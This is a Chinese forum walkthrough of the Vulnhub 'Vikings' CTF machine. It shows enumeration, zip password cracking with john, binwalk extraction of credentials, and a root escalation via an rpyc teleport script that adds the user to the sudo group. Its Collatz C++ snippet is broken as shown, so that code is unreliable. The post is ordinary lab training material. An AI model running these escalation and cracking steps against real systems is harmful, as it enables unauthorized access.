Vulnhub 靶机篇:Vikings
本帖最后由 Happiness 于 2023-12-25 15:52 编辑0x01 靶机信息
[*]> Name:Vikings: 1
[*]> 发布日期:2021 年 9 月 4 日
[*]> 作者:lucky thandel
[*]> 系列:Vikings
[*]> 难度:中等
[*]> 简介:充满挑战的CTF机器,做看得见的事,不做兔子洞,学习新东西,并确保先枚举然后再破解。Discord- luckythandel#6053 {任意提示}
[*]> 下载链接:(https://download.vulnhub.com/vikings/Vikings.ova)
[*]> MD5:D5F6A19BBEA617D7C7C46E21C518F698
[*]> 网络:DHCP自动分配
0x02 Write-Up2.1 主机探测使用Advanced Port Scanner扫描主机和端口目标机:192.168.181.148,开放了22和80端口
访问站点
2.2 7kbscan目录遍历扫描发现images、war.txt路径
war.txt指向/war-is-over目录
目录下是base64编码
curl http://192.168.181.148/site/war-is-over/ | base64 -d > warbase64解码输出到文件warfile war查看文件类型文件类型为zip压缩文件
war有密码保护,里面有个king文件
2.3 zip2john 破解zip密码zip2john war > war.hash
john --wordlist=/usr/share/wordlists/rockyou.txt war.hash破解密码:ragnarok123
king是一张图片
2.4 binwalk分离文件使用binwalk检查文件并分离,发现15D03F.zip和user文件binwalk king检查king文件是否有包含其他内容binwalk -e king -e 分离
发现用户名密码ssh floki@192.168.181.148用户名floki,密码f@m0usboatbuilde7
发现两个文件readme.txt和boat
I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
I need to create this `boat` to find Ragnar
翻译:我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎,但还是失败了。我们不知道战后拉格纳在哪里。他现在非常悲伤。我想向他道歉。
因为是我领导着所有维京人。我需要找到他。他可以在任何地方。
我需要创造这艘“船”来找到拉格纳提示我们找用户Ragnar的密码#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
翻译:
#可打印的字符是你的盟友。
#num = 第 29 个质数。
Collatz 猜想(num)查询到第29个质数为107,编写脚本计算collatz-conjecture(num)#include <iostream>
void Collatz(int n,int a[])
{
int num = 0;
a = n;
std::cout << a;
while(n>1)
{
if (n % 2 == 0)
{
n = n / 2;
}
else
{
n = n * 3 + 1;
}
if (n <= 255)
{
++num;
a = n;
std::cout << ',' << a;
}
}
}
int main()
{
int a;
Collatz(109,a);
}
转换为字符,格式用上文提到的Printable,得到mR)|>^/Gky
2.6 登录Ragnarsu - ragnar提示我们ragnar没有sudo的权限
拿到了user的flag
查看profile文件发现有权限执行rpyc
官网查询该函数可以在另一端执行函数
默认端口18812
netstat -anpt
查看所有tcp端口rpyc程序正在执行
2.7 提权利用teleport提权import rpyc
def getshell():
import os
os.system("sudo usermod -aG sudo ragnar")
conn=rpyc.classic.connect("localhost")
fn = conn.teleport(getshell)
fn()
重新登录,已经被添加进sudo组
获得root flag
页:
[1]